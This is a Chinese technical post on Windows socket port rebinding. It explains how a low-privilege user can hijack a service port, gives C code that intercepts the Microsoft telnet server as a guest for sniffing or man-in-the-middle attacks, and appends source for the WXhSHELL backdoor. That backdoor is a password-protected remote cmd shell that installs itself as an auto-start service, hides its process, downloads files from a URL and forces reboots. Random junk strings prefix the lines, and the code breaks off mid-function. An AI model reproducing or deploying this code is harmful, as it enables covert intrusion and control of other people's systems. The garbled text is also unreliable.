在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
u?Z
<n: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
{NV:|M ! &D)2KD"N saddr.sin_family = AF_INET;
J[6VBM.Y Q ]0r:i=
. saddr.sin_addr.s_addr = htonl(INADDR_ANY);
)^";BVY jiq2 x\\! bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
3t*# !^$ j9>TTgy@ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
mZE8.` |mvM@V;^8{ 这意味着什么?意味着可以进行如下的攻击:
:~i+tD E#aZvE 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
E9L!)D]Y 4]IKh,jT 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
k{1b20 EP(Eq 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
CdNih8uG ^6#-yDZC@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
. wmkj jNIUsM8e 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
j6}$+!E ~M; gM]r; 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
s{B_N/^ Wxc^_iqA1 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
h&P
{p _Y 4a?r` ' #include
Gn[ *?=Vy #include
XR<G}x #include
hRLKb} #include
POY=zUQ'/ DWORD WINAPI ClientThread(LPVOID lpParam);
BJ2Q 2WW int main()
d{3I.$ThH {
ve~C`2=; WORD wVersionRequested;
;&q]X]bJ DWORD ret;
3r`<(%\ WSADATA wsaData;
SKW;MVC BOOL val;
(qbc;gBy SOCKADDR_IN saddr;
>R#9\/s SOCKADDR_IN scaddr;
g*28L[Q~ int err;
BPqwDjW SOCKET s;
h)P]gT0f/ SOCKET sc;
|w4(rs- int caddsize;
5/k)\` HANDLE mt;
*n,UOHlO DWORD tid;
69rwX"^ wVersionRequested = MAKEWORD( 2, 2 );
7Y)s#FJ err = WSAStartup( wVersionRequested, &wsaData );
N:d
D*[QZ if ( err != 0 ) {
O8iu+}]/6 printf("error!WSAStartup failed!\n");
0T=jR{j!o return -1;
C_C$5[~-: }
5qeT4|
Ol saddr.sin_family = AF_INET;
x)d2G6x L+u OBW_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
1ZKz3)K A
xRl*B saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
{Qm6?H saddr.sin_port = htons(23);
vrQFx~ZztH if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
o%$<LaQG5 {
`I@)<d printf("error!socket failed!\n");
6NU8HJp return -1;
<n f=SRZ }
E*h0#m|) val = TRUE;
\l>qY(gu //SO_REUSEADDR选项就是可以实现端口重绑定的
OCvml 2
vP if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
%+D-y+hn {
9t.fij printf("error!setsockopt failed!\n");
Wn2Ny jX return -1;
]j72P }
,.J<.#D3J //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
}rFTh I //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
w/hh
4ir //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
6vMDm0sv $>nkGb%Kp if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
(/To?` {
wVlSjk ret=GetLastError();
fMgcK$ printf("error!bind failed!\n");
4V!1/w return -1;
t%0r"bTi }
k\Yu5) listen(s,2);
Qfwwh`; while(1)
yLV2>kq {
AECxd[k$9 caddsize = sizeof(scaddr);
z<FV1niE //接受连接请求
/QV [N sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
'O!Z:-qE if(sc!=INVALID_SOCKET)
X}_QZO=z {
8}ii3P y mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
p)K9ZI if(mt==NULL)
D!81(}p {
v$qpcu#o printf("Thread Creat Failed!\n");
bM*Pcxv break;
AM1/\R }
}G"r3*
}
Q>cL?ie CloseHandle(mt);
Xi 1q]ps }
U`?zC~ closesocket(s);
o'9OPoof:. WSACleanup();
m$j
n5: return 0;
eA3`]XP.`b }
5d)'`hACe DWORD WINAPI ClientThread(LPVOID lpParam)
;5,`Jpca {
>OF:"_fh SOCKET ss = (SOCKET)lpParam;
wghFGHgw SOCKET sc;
=1V>Vd?8. unsigned char buf[4096];
dqIZ#;:g SOCKADDR_IN saddr;
D}=/w+ long num;
|JirBz DWORD val;
DQL06`pX/ DWORD ret;
AAeQ- nbP //如果是隐藏端口应用的话,可以在此处加一些判断
Dx p> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}rFsU\]:q saddr.sin_family = AF_INET;
i{%z saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
?,A}E|jZ saddr.sin_port = htons(23);
kKFuTem_3 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)Tyky%P+iI {
bCJ<=X,g`K printf("error!socket failed!\n");
~(w=U * return -1;
V{7lltu }
5n&)q=jk= val = 100;
==PQ-Ia if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
V{ 4i$' {
9Bbm7Gd ret = GetLastError();
+ MOe{:/6 return -1;
CuV=C
Ay> }
w>/pQ6=OFR if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Res"0Q {
"jkw8UVz ret = GetLastError();
'l0eo' K return -1;
)<H
91:. }
's56L,^: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
1I:"0("} {
ZmYa.4'L printf("error!socket connect failed!\n");
4iL.4Uj{N closesocket(sc);
~T;ajvJ closesocket(ss);
P?WT)C2)u return -1;
$=@9 D,R }
7(nz<z p while(1)
/
y":/"h {
]$XBd{\D{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
T_YMM'` //如果是嗅探内容的话,可以再此处进行内容分析和记录
a[d{>Fb. //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
i;uG:,ro num = recv(ss,buf,4096,0);
79<9}<T if(num>0)
$_I%1 send(sc,buf,num,0);
Os]!B2j14 else if(num==0)
9;xL!cy break;
.:|#9%5 num = recv(sc,buf,4096,0);
0NuL9 if(num>0)
HNkZ1+P { send(ss,buf,num,0);
b_K?ocq else if(num==0)
r(?'Y y break;
0k]ju }
hM1&A closesocket(ss);
qxecp2>U closesocket(sc);
/64^5DjTh return 0 ;
toYg$IV }
R4Gg|Bh #h
#mOJ5 #1,>Qnl ==========================================================
dwf #~7h_ l9ch 下边附上一个代码,,WXhSHELL
%0y3 /W 0Tn|Q9R ==========================================================
,h5-rw' JQ{zWJlt #include "stdafx.h"
Hc_hO U{za m #include <stdio.h>
`Q(]AGI2 #include <string.h>
twJ|Jmd #include <windows.h>
>X\s[d&( #include <winsock2.h>
[M8qU$&?] #include <winsvc.h>
#%=vy\r #include <urlmon.h>
e{rHO,#A> 3ZJagJ\O #pragma comment (lib, "Ws2_32.lib")
zDGg\cPj9 #pragma comment (lib, "urlmon.lib")
k_|v)\4B wr;|\<c #define MAX_USER 100 // 最大客户端连接数
F~d7;x=g #define BUF_SOCK 200 // sock buffer
2A18hP`^ #define KEY_BUFF 255 // 输入 buffer
LK-K_!F x":Bw;~ #define REBOOT 0 // 重启
=J[[>H'<d #define SHUTDOWN 1 // 关机
GqK&'c G,mH!lSm, #define DEF_PORT 5000 // 监听端口
;5JIY7t }TAGr 0 #define REG_LEN 16 // 注册表键长度
)2^/?jK #define SVC_LEN 80 // NT服务名长度
8ZDqqz^C0 0u&?Zy9& // 从dll定义API
uYFcq typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
T0]%(F/8 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
D=I5[t0c4 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
gQ@Pw4bA typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
65`'Upu .KwuhmR // wxhshell配置信息
a@a1TpLQ struct WSCFG {
%\zCOfN int ws_port; // 监听端口
l_q>(FoqA char ws_passstr[REG_LEN]; // 口令
Q\/":ISq1 int ws_autoins; // 安装标记, 1=yes 0=no
V[M$o char ws_regname[REG_LEN]; // 注册表键名
coP$7Q . char ws_svcname[REG_LEN]; // 服务名
j5VRv$P char ws_svcdisp[SVC_LEN]; // 服务显示名
lWyP[>* char ws_svcdesc[SVC_LEN]; // 服务描述信息
^6NABXL char ws_passmsg[SVC_LEN]; // 密码输入提示信息
SUnmp int ws_downexe; // 下载执行标记, 1=yes 0=no
r1az=$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Cak/#1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
C&s }m0R |uBot#K| };
O^="T^J KHs{/ // default Wxhshell configuration
{;(g[H=q; struct WSCFG wscfg={DEF_PORT,
m 'H "xuhuanlingzhe",
Z$m2rZ# 1,
\qd)l "Wxhshell",
DRg~HT "Wxhshell",
Tdmo'"m8z_ "WxhShell Service",
r|H!s, "Wrsky Windows CmdShell Service",
jv#" vQ9A] "Please Input Your Password: ",
aXid;v, 1,
&+w!'LSaD "
http://www.wrsky.com/wxhshell.exe",
1r:fxZO\Vd "Wxhshell.exe"
4uAb
LSh9 };
m$y$wo<K[7 !L.z4n,n+ // 消息定义模块
H1ui#5n2 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
d# ?*62 char *msg_ws_prompt="\n\r? for help\n\r#>";
*y\tns U char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
JjO/u>A3;7 char *msg_ws_ext="\n\rExit.";
!CMVZf;u char *msg_ws_end="\n\rQuit.";
CbvL X="% char *msg_ws_boot="\n\rReboot...";
BaHgc 4zI char *msg_ws_poff="\n\rShutdown...";
rM~IF+f0XD char *msg_ws_down="\n\rSave to ";
wqoN@d I:>d@e/; char *msg_ws_err="\n\rErr!";
<x;[ H% char *msg_ws_ok="\n\rOK!";
5J2p^$s \iLd6Qo_aq char ExeFile[MAX_PATH];
Kmf-l*7} int nUser = 0;
_itN.^ HANDLE handles[MAX_USER];
AJ1$$c int OsIsNt;
z'}t@R#H :IKp7BS SERVICE_STATUS serviceStatus;
P}u<NPy3Q SERVICE_STATUS_HANDLE hServiceStatusHandle;
&i}cC4i B>nd9Z ' // 函数声明
`3s-%> int Install(void);
*x`l1o int Uninstall(void);
C5z int DownloadFile(char *sURL, SOCKET wsh);
I$qtfGr int Boot(int flag);
McI4oD~" void HideProc(void);
['YRY B int GetOsVer(void);
qmeEUch` int Wxhshell(SOCKET wsl);
ez9M]! 8Lt void TalkWithClient(void *cs);
fq!6#Usf;i int CmdShell(SOCKET sock);
vlKKPS int StartFromService(void);
Z5^UF2`Q int StartWxhshell(LPSTR lpCmdLine);
|2]WA'q WaK{/6?T, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
}Mlz\'{ VOID WINAPI NTServiceHandler( DWORD fdwControl );
]mU*Y:< L=Jk"qWV0 // 数据结构和表定义
dz.MH SERVICE_TABLE_ENTRY DispatchTable[] =
9-<V%eNX {
qhGhUyNX {wscfg.ws_svcname, NTServiceMain},
DG9;6"HBX {NULL, NULL}
0<Y&2<v };
?#y<^oNM rG%_O$_dO // 自我安装
{7s zo`U2 int Install(void)
x@\'@>_GM {
G8c}re
char svExeFile[MAX_PATH];
}pZnWK+ HKEY key;
(I 0t*Se strcpy(svExeFile,ExeFile);
%+JTQy
EHM 7=|# // 如果是win9x系统,修改注册表设为自启动
cmLu T/oV if(!OsIsNt) {
AhZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
c oz}VMp RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]OUOL/J RegCloseKey(key);
0#nXxkw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,>%r|YSJ) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*iN]#)3> RegCloseKey(key);
t/BiZo|zl return 0;
<iqyDPj }
13@| {H CB }
! yUKNR }
Z- Ae'ym else {
m1Z8SM+ ~
a&j4E // 如果是NT以上系统,安装为系统服务
bg. KkJMrR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
{v'Fg if (schSCManager!=0)
/[T8/7;_l {
TBp5xz` SC_HANDLE schService = CreateService
#gT^hl5/ (
%),O9*[9 schSCManager,
laJ%fBWmbi wscfg.ws_svcname,
t$5]1dY$X wscfg.ws_svcdisp,
U,(+rMeY0 SERVICE_ALL_ACCESS,
#i U/Yg! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
WU@,1.F: SERVICE_AUTO_START,
PiQs><FK8 SERVICE_ERROR_NORMAL,
Nr+1N83S} svExeFile,
|*a>6y NULL,
^%@.Vvz< NULL,
LA Vgf> NULL,
"Y0[rSz,UW NULL,
' .<"jZ NULL
m$: a|'mS );
~q>ilnL"h if (schService!=0)
73`UTXvWU {
n-.k&B{a CloseServiceHandle(schService);
d)sl)qt}0 CloseServiceHandle(schSCManager);
;VBfzFH strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
^}L$[P strcat(svExeFile,wscfg.ws_svcname);
5ZxBmQ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
)gF9D1eA RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
%QbrVl+ RegCloseKey(key);
[uHI
6Q# return 0;
5q>u
}J }
zvj >KF|y }
Vs{sB*: CloseServiceHandle(schSCManager);
/q]@|5I }
M 4?3l }
V>SA3
tB7aHZ| return 1;
[J3;U6 }
=@MKU ITiw) M // 自我卸载
t,6=EK*3T int Uninstall(void)
0w]?yqnE {
B!anY}/U HKEY key;
n|6yz[N K.7gd1I if(!OsIsNt) {
`9gx-')]\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ZQ/5]]}3y RegDeleteValue(key,wscfg.ws_regname);
eL!6}y}W RegCloseKey(key);
df\>-Hl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
9tQk/niMM5 RegDeleteValue(key,wscfg.ws_regname);
Z%=E/xT RegCloseKey(key);
n]!H,Q1,T return 0;
~3 (>_r }
ha5\T' }
_,Y79 b6 }
hT#mM*` else {
H[Cn@XE @gz?T;EC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
4|thDb)] if (schSCManager!=0)
v0sX'>f {
"{lnSLk SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Lf9h;z># if (schService!=0)
^g\%VIOD {
Y8T.RS0 if(DeleteService(schService)!=0) {
6qf`P!7d]M CloseServiceHandle(schService);
ER+[gT1CQ CloseServiceHandle(schSCManager);
uy~j$ lrn return 0;
,sK-gw }
}S4Fy3) CloseServiceHandle(schService);
c,^-nH'X> }
F Te# @\I CloseServiceHandle(schSCManager);
=t2epIr5 }
NKws;/u }
ImVe71mh ^;d;b< return 1;
/_8V+@im }
G39t'^ZK*# v\vn}/>*d // 从指定url下载文件
Jt"Wtr int DownloadFile(char *sURL, SOCKET wsh)
V96BtVsB {
*XuzTGa" HRESULT hr;
9Wn0YIc char seps[]= "/";
VM`."un] char *token;
f63q char *file;
KtE`L4tW6 char myURL[MAX_PATH];
KAZz)7 char myFILE[MAX_PATH];
<U*d
8z&9 strcpy(myURL,sURL);
s0SB!-Vjm token=strtok(myURL,seps);
A6VkVJZx while(token!=NULL)
>e%Po,Fg$ {
<V{BRRx file=token;
X+iULr.^`~ token=strtok(NULL,seps);
t<tBOesQ }
y5I7pbe "2-TtQV! GetCurrentDirectory(MAX_PATH,myFILE);
p-Ju&4fS strcat(myFILE, "\\");
2Xosj(H strcat(myFILE, file);
Rk<:m+V= send(wsh,myFILE,strlen(myFILE),0);
(_2eiE71 send(wsh,"...",3,0);
l:+1j{ d7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Up:#Zs2 if(hr==S_OK)
= j - return 0;
"q8wEu,z[ else
FB""^IC?W return 1;
|d$aISO` #,sJd ^uI }
:L,]<n jp|wc,]! // 系统电源模块
^H'#*b0u int Boot(int flag)
K^+B" {
w}iflAnjq HANDLE hToken;
!?96P|G TOKEN_PRIVILEGES tkp;
@47TDCr HhO$`YZ%> if(OsIsNt) {
8wOr`ho B OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
2mRso.Ah LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
B(~D*H2T[ tkp.PrivilegeCount = 1;
9I9)5`d|Jn tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
.|K5b]na AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
:}lE@Y,R if(flag==REBOOT) {
q:(K^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
T!n<ya! return 0;
S}<(9@]z }
Q]\xO/ else {
'EQAG' YV if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
=vWnqF: return 0;
=~)n,5 }
;Zw28!#Rt }
u^uW<.#z else {
|R4]( if(flag==REBOOT) {
x/ez=yd*l if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
xucV$[f return 0;
5HB4B <2 }
`JC!uc else {
^0 t`EZ$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
m$kmoY/ return 0;
x?k6ek }
q+ .=f.+Z }
<rkF2 -K, >U17BGJ. return 1;
L.5GX 29 }
c;WS !. w v1R
]3} // win9x进程隐藏模块
TS-[p d void HideProc(void)
(mzyA%;W {
~DSle 3
,{%[/#~6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
87-oR}/r if ( hKernel != NULL )
Y=5hm {
rkD(KG9E pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
%Z.!Bm: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
EV}%D9: FreeLibrary(hKernel);
Xd4~N: }
D=8=wT2< @8 pRIS"V return;
N7NK1<vw2 }
zd}"8 >uVG] // 获取操作系统版本
F$caKWzny5 int GetOsVer(void)
__a9}m4i7x {
7':|f " OSVERSIONINFO winfo;
aW"BN 5eM> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
F/&&VSv>LO GetVersionEx(&winfo);
I?1^\s#L if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
% $J^dF_0 return 1;
-v]7}[
.[ else
Q>|<R[.7 return 0;
V
Bg\)r[ }
_H-Lt{k :5dq<>~ // 客户端句柄模块
,Rf<6 /A int Wxhshell(SOCKET wsl)
7 `|- K {
(LnKaf8 SOCKET wsh;
\X(.%5xC struct sockaddr_in client;
$ (GXlhA DWORD myID;
1(-)$m8} ZqSczS7uf while(nUser<MAX_USER)
i6[Hu8 {
GhX>YzD7 int nSize=sizeof(client);
T3bBc wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
VH8,!# Q; if(wsh==INVALID_SOCKET) return 1;
i#
QI}r $:>K-4X\} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ZN.
#g_ if(handles[nUser]==0)
(u~@@d" closesocket(wsh);
d
hh`o\$ else
#zfBNkk &@ nUser++;
?@tp1?) }
V-VR+ Ndz WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
QqRL>.)W W &*0F~ return 0;
ZM\Z2L]n }
l{kum2DT $[H3O(B0* // 关闭 socket
+"Ka #Z void CloseIt(SOCKET wsh)
d}Q;CF3m: {
i7iL[+f]Q closesocket(wsh);
]@_*O$ nUser--;
/CH*5w)1
ExitThread(0);
6z~6o0s~ }
L9@nx7D M-eX>}CDm // 客户端请求句柄
-2f_e3jF void TalkWithClient(void *cs)
Lb(=:Z!{ {
B%[Yu3gBo [/'W#x SOCKET wsh=(SOCKET)cs;
oB+drDp8U char pwd[SVC_LEN];
x2l~aw#? char cmd[KEY_BUFF];
e~xN[Q\0] char chr[1];
*M09Y'5] int i,j;
xM[m(m Zhf+u
r while (nUser < MAX_USER) {
4v Ug:'DM yH irm|o if(wscfg.ws_passstr) {
c1c8):o+V if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_pL:dKfy7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
t}+P|$[ //ZeroMemory(pwd,KEY_BUFF);
?3[as<GZ8 i=0;
H}`}qu #~V while(i<SVC_LEN) {
jruwdm^ ZPRkk?M}. // 设置超时
[$$i1%c%Z< fd_set FdRead;
/alJN`g struct timeval TimeOut;
i,ga2{GnM FD_ZERO(&FdRead);
Ub3^Js!b% FD_SET(wsh,&FdRead);
IvO#tI TimeOut.tv_sec=8;
Tw8$6KUW TimeOut.tv_usec=0;
g6MK~JG$?h int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
T=%,^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
4 1q|R[js! r761vtC# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
zW8rC! pwd
=chr[0]; O,u$L
if(chr[0]==0xd || chr[0]==0xa) { l%L..WCT]
pwd=0; cJ=0zEv
break; x:4:G(
} @!`x^Tzz
i++; 4YMX;W
} s9X?tWuL
0sIwU!=vm
// 如果是非法用户,关闭 socket T'!7jgk{:
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); az/NZlJhT
} HW"@~-\
C8ek{o)%W
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DgW*Br8<
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y'H|Tk^`
r1ao=N
while(1) { 2M@,g8O+B=
~qT5F)$B-
ZeroMemory(cmd,KEY_BUFF); b"iPuN!p
d0YDNP%,_
// 自动支持客户端 telnet标准 muc6gwBp
j=0; 54r/s#|-3
while(j<KEY_BUFF) { q8#zv_>K
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qq+$ea?>
cmd[j]=chr[0]; x}B3h9]
if(chr[0]==0xa || chr[0]==0xd) { 0o7*5| T4
cmd[j]=0; /fv;`?~d*
break; #TS:|=
} ,v ,#f
.
j++; Qh3BI?GZ'3
} }LeizbU
wwUa+6?
// 下载文件 (ZSd7qH"
if(strstr(cmd,"http://")) { d;@"Naw
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~HBQQt
if(DownloadFile(cmd,wsh)) VUmf;~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e*)*__$O
else -aPRLHR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |kGj}v3
} z[|2od
else { iC2``[m"
-?z#
switch(cmd[0]) { )xm[m vt
{#y~ Qk;T
// 帮助 x18(}4
case '?': { XtCG.3(LY
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _xY
dnTEl
break; Vq$8!#~w
} mSeCXCrZlI
// 安装 l]R=I2t
case 'i': { XSHK7vpMf
if(Install()) z;iNfs0i$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V$0mcwH
else .7BJq?K.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q<[m(]:
break; C2
4"H|D
} 'Y2ImSWj
// 卸载 z;wOtKl5r
case 'r': { N2 4J!L
if(Uninstall()) n,D&pl9f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g^I?u$&E
else hU'h78bt(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xrl# DN
break; Y#[xX2z9
} D,\hRQ
// 显示 wxhshell 所在路径 cXw8#M!
case 'p': { Lo,uH`qU
char svExeFile[MAX_PATH]; {^":^N)
strcpy(svExeFile,"\n\r"); {'cm;V+
strcat(svExeFile,ExeFile); fj|X`,TiZ;
send(wsh,svExeFile,strlen(svExeFile),0); tJ$gH;
break; &ea6YQ
} DrK@y8
// 重启 n{$! ]^>
case 'b': { A3^_'K
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L.2!Q3&
if(Boot(REBOOT)) ^|%u%UR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r(j :C%?}C
else { ;W{2\ Es
closesocket(wsh); +?)R}\\
ExitThread(0); 2Q=I`H_
} `l2h65\
break; 18,;2Sr44
} b|pp}il
// 关机 u.ej<Lo
case 'd': { QpCTHpZ
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (}m2}
if(Boot(SHUTDOWN)) (&MtK1;;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %/oeV;D
else { Cz|F%>y#
closesocket(wsh); NK\0X5##.
ExitThread(0); i&^]qL|J
} &yRR!1n)H
break; ?U+nR/H:6
} DGbEQiX$\
// 获取shell _9yW; i-
case 's': { 2q4-9vu
CmdShell(wsh); >N~orSw%
closesocket(wsh); s~06%QEG
ExitThread(0); `{%ImXQF
break; &G!~@\tMg
} #(}'G*
// 退出 oP~%7Jt
case 'x': { &'k:?@J[
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,Cd4Q7T
CloseIt(wsh); O1Ynl`}
break; }Gva=N:
} +#L'gc
// 离开 8.HJoos
case 'q': { J@A^k1B
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Qe =8x7oIP
closesocket(wsh); kho$At)V
WSACleanup(); {ub'
exit(1); V%'' GF
break; L 8J] X7
} Ax6zx
} .=N ?;i
} )# v}8aL
ka@yQ V
// 提示信息 %$_Y"82
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O{p7I&
} e(I;[G +%,
} </pt($
r{{5@
return; @6M>x=n5
} [9d\WPLC
;OC{B}.vH
// shell模块句柄 }{}?mQ
int CmdShell(SOCKET sock) wbB\~*Z)
{ #+H3b!8=
STARTUPINFO si; d*x&Uh[K
ZeroMemory(&si,sizeof(si)); .qLXjU
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Bk]
`n'W
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^HU>fkSk
PROCESS_INFORMATION ProcessInfo; CF6qEG6
char cmdline[]="cmd"; /[5\T2GI
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GX'S4B
return 0; M?5v oV*
} Ej $.x6:
@~&|BvK% \
// 自身启动模式 &14xYpD<
int StartFromService(void) HQSFl=Q
{ \*M;W|8aB
typedef struct O>>/2V9
{ !D!"ftOm
DWORD ExitStatus; 3:<[;yo
DWORD PebBaseAddress; F-XMy>9
DWORD AffinityMask; *^KEb")$
